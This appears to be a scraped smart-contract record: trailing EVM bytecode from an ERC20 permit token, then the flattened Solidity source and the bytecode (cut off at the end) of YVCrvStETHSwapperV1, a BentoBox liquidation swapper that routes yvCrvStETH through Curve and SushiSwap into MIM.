f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252838181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156110b55780601f1061108a576101008083540402835291602001916110b5565b820191906000526020600020905b81548152906001019060200180831161109857829003601f168201915b50509250505060405180910390fd5b5080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167f2f658b440c35314f52658ea8a740e05b284cdc84dc9ae01e891f21b8933e7cad60405160405180910390a250565b6000611195600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061205b565b9050919050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112345780601f1061120957610100808354040283529160200191611234565b820191906000526020600020905b81548152906001019060200180831161121757829003601f168201915b5050505050905090565b60006112f333846112ee8560405180606001604052806025815260200161270a60259139600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611af39092919063ffffffff16565b61163b565b6001905092915050565b600061130a338484611832565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b834211156113b0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f45524332305065726d69743a206578706972656420646561646c696e6500000081525060200191505060405180910390fd5b60007f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98888886113df8c612069565b89604051602001808781526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200196505050505050506040516020818303038152906040528051906020012090506000611462826120c7565b90506000611472828787876120e1565b90508973ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611515576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332305065726d69743a20696e76616c6964207369676e6174757265000081525060200191505060405180910390fd5b6115208a8a8a61163b565b50505050505050505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080828401905083811015611631576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806126e66024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611747576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806125c86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806126c16025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561193e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806125836023913960400191505060405180910390fd5b61194983838361210c565b6119b4816040518060600160405280602681526020016125ea602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611af39092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a47816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611ba0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611b65578082015181840152602081019050611b4a565b50505050905090810190601f168015611b925780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000804690507f0000000000000000000000000000000000000000000000000000000000000001811415611c0a577f4ce85419bc78be7e15011a9506860721d81d44aa47e4a3609a75c6ab907236af915050611c79565b611c757f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7f4efb1d430f0948db53bc03bc417f2e917cf0c2768acd20730fcabf919b232d7f7fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6612111565b9150505b90565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d1f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b611d2b6000838361210c565b611d40816002546115b390919063ffffffff16565b600281905550611d97816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ec9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806126a06021913960400191505060405180910390fd5b611ed58260008361210c565b611f40816040518060600160405280602281526020016125a6602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611af39092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f978160025461217e90919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600061203f8260405180606001604052806024815260200161267c60249139612030863361152c565b611af39092919063ffffffff16565b905061204c83338361163b565b6120568383611e43565b505050565b600081600001549050919050565b600080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506120b68161205b565b91506120c1816121c8565b50919050565b60006120da6120d4611bb3565b836121de565b9050919050565b60008060006120f28787878761223f565b915091506120ff81612361565b8192505050949350505050565b505050565b6000804690508484848330604051602001808681526020018581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff16815260200195505050505050604051602081830303815290604052805190602001209150509392505050565b60006121c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611af3565b905092915050565b6001816000016000828254019250508190555050565b6000828260405160200180807f19010000000000000000000000000000000000000000000000000000000000008152506002018381526020018281526020019250505060405160208183030381529060405280519060200120905092915050565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08360001c111561227a576000600391509150612358565b601b8560ff16141580156122925750601c8560ff1614155b156122a4576000600491509150612358565b600060018787878760405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015612300573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561234f57600060019250925050612358565b80600092509250505b94509492505050565b6000600481111561236e57fe5b81600481111561237a57fe5b14156123855761257f565b6001600481111561239257fe5b81600481111561239e57fe5b1415612412576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f45434453413a20696e76616c6964207369676e6174757265000000000000000081525060200191505060405180910390fd5b6002600481111561241f57fe5b81600481111561242b57fe5b141561249f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45434453413a20696e76616c6964207369676e6174757265206c656e6774680081525060200191505060405180910390fd5b600360048111156124ac57fe5b8160048111156124b857fe5b141561250f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806126106022913960400191505060405180910390fd5b60048081111561251b57fe5b81600481111561252757fe5b141561257e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806126326022913960400191505060405180910390fd5b5b5056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545434453413a20696e76616c6964207369676e6174757265202773272076616c756545434453413a20696e76616c6964207369676e6174757265202776272076616c756545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212200cb7e645a7e2b55132de9cc6a98f19166f014e9364654408da7b731ce4588a9c64736f6c63430007050033
[ 38 ]
0xf314aD60C32F80671d00E3DE35E44A130829b795
// SPDX-License-Identifier: MIXED // File @boringcrypto/boring-solidity/contracts/libraries/[email protected] // License-Identifier: MIT pragma solidity 0.6.12; /// @notice A library for performing overflow-/underflow-safe math, /// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math). library BoringMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow"); } function to128(uint256 a) internal pure returns (uint128 c) { require(a <= uint128(-1), "BoringMath: uint128 Overflow"); c = uint128(a); } function to64(uint256 a) internal pure returns (uint64 c) { require(a <= uint64(-1), "BoringMath: uint64 Overflow"); c = uint64(a); } function to32(uint256 a) internal pure returns (uint32 c) { require(a <= uint32(-1), "BoringMath: uint32 Overflow"); c = uint32(a); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128. library BoringMath128 { function add(uint128 a, uint128 b) internal pure returns (uint128 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint128 a, uint128 b) internal pure returns (uint128 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint64. library BoringMath64 { function add(uint64 a, uint64 b) internal pure returns (uint64 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint64 a, uint64 b) internal pure returns (uint64 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32. library BoringMath32 { function add(uint32 a, uint32 b) internal pure returns (uint32 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint32 a, uint32 b) internal pure returns (uint32 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } // File @sushiswap/core/contracts/uniswapv2/interfaces/[email protected] // License-Identifier: GPL-3.0 pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function migrator() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; function setMigrator(address) external; } // File @sushiswap/core/contracts/uniswapv2/interfaces/[email protected] // License-Identifier: GPL-3.0 pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File @boringcrypto/boring-solidity/contracts/interfaces/[email protected] // License-Identifier: MIT pragma solidity 0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); /// @notice EIP 2612 function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } // File contracts/interfaces/ISwapper.sol // License-Identifier: MIT pragma solidity 0.6.12; interface ISwapper { /// @notice Withdraws 'amountFrom' of token 'from' from the BentoBox account for this swapper. /// Swaps it for at least 'amountToMin' of token 'to'. /// Transfers the swapped tokens of 'to' into the BentoBox using a plain ERC20 transfer. /// Returns the amount of tokens 'to' transferred to BentoBox. /// (The BentoBox skim function will be used by the caller to get the swapped funds). function swap( IERC20 fromToken, IERC20 toToken, address recipient, uint256 shareToMin, uint256 shareFrom ) external returns (uint256 extraShare, uint256 shareReturned); /// @notice Calculates the amount of token 'from' needed to complete the swap (amountFrom), /// this should be less than or equal to amountFromMax. /// Withdraws 'amountFrom' of token 'from' from the BentoBox account for this swapper. /// Swaps it for exactly 'exactAmountTo' of token 'to'. /// Transfers the swapped tokens of 'to' into the BentoBox using a plain ERC20 transfer. /// Transfers allocated, but unused 'from' tokens within the BentoBox to 'refundTo' (amountFromMax - amountFrom). /// Returns the amount of 'from' tokens withdrawn from BentoBox (amountFrom). /// (The BentoBox skim function will be used by the caller to get the swapped funds). function swapExact( IERC20 fromToken, IERC20 toToken, address recipient, address refundTo, uint256 shareFromSupplied, uint256 shareToExact ) external returns (uint256 shareUsed, uint256 shareReturned); } // File @boringcrypto/boring-solidity/contracts/libraries/[email protected] // License-Identifier: MIT pragma solidity 0.6.12; struct Rebase { uint128 elastic; uint128 base; } /// @notice A rebasing library using overflow-/underflow-safe math. library RebaseLibrary { using BoringMath for uint256; using BoringMath128 for uint128; /// @notice Calculates the base value in relationship to `elastic` and `total`. function toBase( Rebase memory total, uint256 elastic, bool roundUp ) internal pure returns (uint256 base) { if (total.elastic == 0) { base = elastic; } else { base = elastic.mul(total.base) / total.elastic; if (roundUp && base.mul(total.elastic) / total.base < elastic) { base = base.add(1); } } } /// @notice Calculates the elastic value in relationship to `base` and `total`. function toElastic( Rebase memory total, uint256 base, bool roundUp ) internal pure returns (uint256 elastic) { if (total.base == 0) { elastic = base; } else { elastic = base.mul(total.elastic) / total.base; if (roundUp && elastic.mul(total.base) / total.elastic < base) { elastic = elastic.add(1); } } } /// @notice Add `elastic` to `total` and doubles `total.base`. /// @return (Rebase) The new total. /// @return base in relationship to `elastic`. function add( Rebase memory total, uint256 elastic, bool roundUp ) internal pure returns (Rebase memory, uint256 base) { base = toBase(total, elastic, roundUp); total.elastic = total.elastic.add(elastic.to128()); total.base = total.base.add(base.to128()); return (total, base); } /// @notice Sub `base` from `total` and update `total.elastic`. /// @return (Rebase) The new total. /// @return elastic in relationship to `base`. function sub( Rebase memory total, uint256 base, bool roundUp ) internal pure returns (Rebase memory, uint256 elastic) { elastic = toElastic(total, base, roundUp); total.elastic = total.elastic.sub(elastic.to128()); total.base = total.base.sub(base.to128()); return (total, elastic); } /// @notice Add `elastic` and `base` to `total`. function add( Rebase memory total, uint256 elastic, uint256 base ) internal pure returns (Rebase memory) { total.elastic = total.elastic.add(elastic.to128()); total.base = total.base.add(base.to128()); return total; } /// @notice Subtract `elastic` and `base` to `total`. function sub( Rebase memory total, uint256 elastic, uint256 base ) internal pure returns (Rebase memory) { total.elastic = total.elastic.sub(elastic.to128()); total.base = total.base.sub(base.to128()); return total; } /// @notice Add `elastic` to `total` and update storage. /// @return newElastic Returns updated `elastic`. function addElastic(Rebase storage total, uint256 elastic) internal returns (uint256 newElastic) { newElastic = total.elastic = total.elastic.add(elastic.to128()); } /// @notice Subtract `elastic` from `total` and update storage. /// @return newElastic Returns updated `elastic`. function subElastic(Rebase storage total, uint256 elastic) internal returns (uint256 newElastic) { newElastic = total.elastic = total.elastic.sub(elastic.to128()); } } // File @sushiswap/bentobox-sdk/contracts/[email protected] // License-Identifier: MIT pragma solidity 0.6.12; interface IBatchFlashBorrower { function onBatchFlashLoan( address sender, IERC20[] calldata tokens, uint256[] calldata amounts, uint256[] calldata fees, bytes calldata data ) external; } // File @sushiswap/bentobox-sdk/contracts/[email protected] // License-Identifier: MIT pragma solidity 0.6.12; interface IFlashBorrower { function onFlashLoan( address sender, IERC20 token, uint256 amount, uint256 fee, bytes calldata data ) external; } // File @sushiswap/bentobox-sdk/contracts/[email protected] // License-Identifier: MIT pragma solidity 0.6.12; interface IStrategy { // Send the assets to the Strategy and call skim to invest them function skim(uint256 amount) external; // Harvest any profits made converted to the asset and pass them to the caller function harvest(uint256 balance, address sender) external returns (int256 amountAdded); // Withdraw assets. The returned amount can differ from the requested amount due to rounding. // The actualAmount should be very close to the amount. The difference should NOT be used to report a loss. That's what harvest is for. function withdraw(uint256 amount) external returns (uint256 actualAmount); // Withdraw all assets in the safest way possible. This shouldn't fail. function exit(uint256 balance) external returns (int256 amountAdded); } // File @sushiswap/bentobox-sdk/contracts/[email protected] // License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; interface IBentoBoxV1 { event LogDeploy(address indexed masterContract, bytes data, address indexed cloneAddress); event LogDeposit(address indexed token, address indexed from, address indexed to, uint256 amount, uint256 share); event LogFlashLoan(address indexed borrower, address indexed token, uint256 amount, uint256 feeAmount, address indexed receiver); event LogRegisterProtocol(address indexed protocol); event LogSetMasterContractApproval(address indexed masterContract, address indexed user, bool approved); event LogStrategyDivest(address indexed token, uint256 amount); event LogStrategyInvest(address indexed token, uint256 amount); event LogStrategyLoss(address indexed token, uint256 amount); event LogStrategyProfit(address indexed token, uint256 amount); event LogStrategyQueued(address indexed token, address indexed strategy); event LogStrategySet(address indexed token, address indexed strategy); event LogStrategyTargetPercentage(address indexed token, uint256 targetPercentage); event LogTransfer(address indexed token, address indexed from, address indexed to, uint256 share); event LogWhiteListMasterContract(address indexed masterContract, bool approved); event LogWithdraw(address indexed token, address indexed from, address indexed to, uint256 amount, uint256 share); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function balanceOf(IERC20, address) external view returns (uint256); function batch(bytes[] calldata calls, bool revertOnFail) external payable returns (bool[] memory successes, bytes[] memory results); function batchFlashLoan(IBatchFlashBorrower borrower, address[] calldata receivers, IERC20[] calldata tokens, uint256[] calldata amounts, bytes calldata data) external; function claimOwnership() external; function deploy(address masterContract, bytes calldata data, bool useCreate2) external payable; function deposit(IERC20 token_, address from, address to, uint256 amount, uint256 share) external payable returns (uint256 amountOut, uint256 shareOut); function flashLoan(IFlashBorrower borrower, address receiver, IERC20 token, uint256 amount, bytes calldata data) external; function harvest(IERC20 token, bool balance, uint256 maxChangeAmount) external; function masterContractApproved(address, address) external view returns (bool); function masterContractOf(address) external view returns (address); function nonces(address) external view returns (uint256); function owner() external view returns (address); function pendingOwner() external view returns (address); function pendingStrategy(IERC20) external view returns (IStrategy); function permitToken(IERC20 token, address from, address to, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; function registerProtocol() external; function setMasterContractApproval(address user, address masterContract, bool approved, uint8 v, bytes32 r, bytes32 s) external; function setStrategy(IERC20 token, IStrategy newStrategy) external; function setStrategyTargetPercentage(IERC20 token, uint64 targetPercentage_) external; function strategy(IERC20) external view returns (IStrategy); function strategyData(IERC20) external view returns (uint64 strategyStartDate, uint64 targetPercentage, uint128 balance); function toAmount(IERC20 token, uint256 share, bool roundUp) external view returns (uint256 amount); function toShare(IERC20 token, uint256 amount, bool roundUp) external view returns (uint256 share); function totals(IERC20) external view returns (Rebase memory totals_); function transfer(IERC20 token, address from, address to, uint256 share) external; function transferMultiple(IERC20 token, address from, address[] calldata tos, uint256[] calldata shares) external; function transferOwnership(address newOwner, bool direct, bool renounce) external; function whitelistMasterContract(address masterContract, bool approved) external; function whitelistedMasterContracts(address) external view returns (bool); function withdraw(IERC20 token_, address from, address to, uint256 amount, uint256 share) external returns (uint256 amountOut, uint256 shareOut); } // File contracts/swappers/Liquidations/YVCrvStETHSwapper.sol // License-Identifier: MIT pragma solidity 0.6.12; interface CurvePool { function exchange_underlying(int128 i, int128 j, uint256 dx, uint256 min_dy, address receiver) external returns (uint256); function approve(address _spender, uint256 _value) external returns (bool); function remove_liquidity_one_coin(uint256 tokenAmount, int128 i, uint256 min_amount) external returns(uint256); } interface YearnVault { function withdraw() external returns (uint256); function deposit(uint256 amount, address recipient) external returns (uint256); } interface TetherToken { function approve(address _spender, uint256 _value) external; function balanceOf(address user) external view returns (uint256); } interface IWETH is IERC20 { function transfer(address _to, uint256 _value) external returns (bool success); function deposit() external payable; } contract YVCrvStETHSwapperV1 is ISwapper { using BoringMath for uint256; // Local variables IBentoBoxV1 public constant bentoBox = IBentoBoxV1(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); IWETH public constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); CurvePool public constant MIM3POOL = CurvePool(0x5a6A4D54456819380173272A5E8E9B9904BdF41B); CurvePool constant public STETH = CurvePool(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022); YearnVault constant public YVSTETH = YearnVault(0xdCD90C7f6324cfa40d7169ef80b12031770B4325); TetherToken public constant TETHER = TetherToken(0xdAC17F958D2ee523a2206206994597C13D831ec7); IERC20 public constant MIM = IERC20(0x99D8a9C45b2ecA8864373A26D1459e3Dff1e17F3); IUniswapV2Pair constant pair = IUniswapV2Pair(0x06da0fd433C1A5d7a4faa01111c044910A184553); constructor() public { MIM.approve(address(MIM3POOL), type(uint256).max); TETHER.approve(address(MIM3POOL), type(uint256).max); } // Given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) internal pure returns (uint256 amountOut) { uint256 amountInWithFee = amountIn.mul(997); uint256 numerator = amountInWithFee.mul(reserveOut); uint256 denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // Given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) internal pure returns (uint256 amountIn) { uint256 numerator = reserveIn.mul(amountOut).mul(1000); uint256 denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } receive() external payable {} // Swaps to a flexible amount, from an exact input amount /// @inheritdoc ISwapper function swap( IERC20 fromToken, IERC20 toToken, address recipient, uint256 shareToMin, uint256 shareFrom ) public override returns (uint256 extraShare, uint256 shareReturned) { bentoBox.withdraw(fromToken, address(this), address(this), 0, shareFrom); { uint256 amountFrom = YVSTETH.withdraw(); STETH.remove_liquidity_one_coin(amountFrom, 0, 0); } uint256 amountSecond = address(this).balance; WETH.deposit{value: amountSecond}(); WETH.transfer(address(pair), amountSecond); (uint256 reserve0, uint256 reserve1, ) = pair.getReserves(); uint256 amountIntermediate = getAmountOut(amountSecond, reserve0, reserve1); pair.swap(0, amountIntermediate, address(this), new bytes(0)); uint256 amountTo = MIM3POOL.exchange_underlying(3, 0, amountIntermediate, 0, address(bentoBox)); (, shareReturned) = bentoBox.deposit(toToken, address(bentoBox), recipient, amountTo, 0); extraShare = shareReturned.sub(shareToMin); } // Swaps to an exact amount, from a flexible input amount /// @inheritdoc ISwapper function swapExact( IERC20 fromToken, IERC20 toToken, address recipient, address refundTo, uint256 shareFromSupplied, uint256 shareToExact ) public override returns (uint256 shareUsed, uint256 shareReturned) { return (0,0); } }
0x60806040526004361061008a5760003560e01c806378e7e3d11161005957806378e7e3d114610119578063ad5c46481461012e578063daec383d14610143578063e00bfe5014610158578063e343fe121461016d57610091565b806322a88c09146100965780634622be90146100c15780636b2ace87146100ef57806374e5690b1461010457610091565b3661009157005b600080fd5b3480156100a257600080fd5b506100ab61018d565b6040516100b891906109f8565b60405180910390f35b3480156100cd57600080fd5b506100e16100dc366004610889565b6101a5565b6040516100b8929190610b9a565b3480156100fb57600080fd5b506100ab6101b3565b34801561011057600080fd5b506100ab6101cb565b34801561012557600080fd5b506100ab6101e3565b34801561013a57600080fd5b506100ab6101fb565b34801561014f57600080fd5b506100ab610213565b34801561016457600080fd5b506100ab61022b565b34801561017957600080fd5b506100e16101883660046108f6565b610243565b735a6a4d54456819380173272a5e8e9b9904bdf41b81565b600080965096945050505050565b73f5bce5077908a1b7370b9ae04adc565ebd64396681565b73dcd90c7f6324cfa40d7169ef80b12031770b432581565b73dac17f958d2ee523a2206206994597c13d831ec781565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b7399d8a9c45b2eca8864373a26d1459e3dff1e17f381565b73dc24316b9ae028f1497c275eb9192a3ea0f6702281565b60405163097da6d360e41b8152600090819073f5bce5077908a1b7370b9ae04adc565ebd643966906397da6d3090610287908a903090819087908a90600401610a0c565b6040805180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102d891906109bc565b5050600073dcd90c7f6324cfa40d7169ef80b12031770b43256001600160a01b0316633ccfd60b6040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561032b57600080fd5b505af115801561033f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061036391906109a4565b604051630d2680e960e11b815290915073dc24316b9ae028f1497c275eb9192a3ea0f6702290631a4d01d2906103a29084906000908190600401610b81565b602060405180830381600087803b1580156103bc57600080fd5b505af11580156103d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103f491906109a4565b5050600047905073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b15801561044a57600080fd5b505af115801561045e573d6000803e3d6000fd5b505060405163a9059cbb60e01b815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2935063a9059cbb92506104b091507306da0fd433c1a5d7a4faa01111c044910a1845539085906004016109df565b602060405180830381600087803b1580156104ca57600080fd5b505af11580156104de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105029190610862565b506000807306da0fd433c1a5d7a4faa01111c044910a1845536001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561055357600080fd5b505afa158015610567573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061058b9190610950565b506001600160701b031691506001600160701b0316915060006105af848484610788565b604080516000808252602082019283905263022c0d9f60e01b9092529192507306da0fd433c1a5d7a4faa01111c044910a1845539163022c0d9f916105fb918590309060248101610a40565b600060405180830381600087803b15801561061557600080fd5b505af1158015610629573d6000803e3d6000fd5b50506040516322770cc360e11b815260009250735a6a4d54456819380173272a5e8e9b9904bdf41b91506344ee1986906106849060039085908790829073f5bce5077908a1b7370b9ae04adc565ebd64396690600401610ab1565b602060405180830381600087803b15801561069e57600080fd5b505af11580156106b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d691906109a4565b60405162ae511b60e21b815290915073f5bce5077908a1b7370b9ae04adc565ebd643966906302b9446c90610718908e9084908f908790600090600401610a0c565b6040805180830381600087803b15801561073157600080fd5b505af1158015610745573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081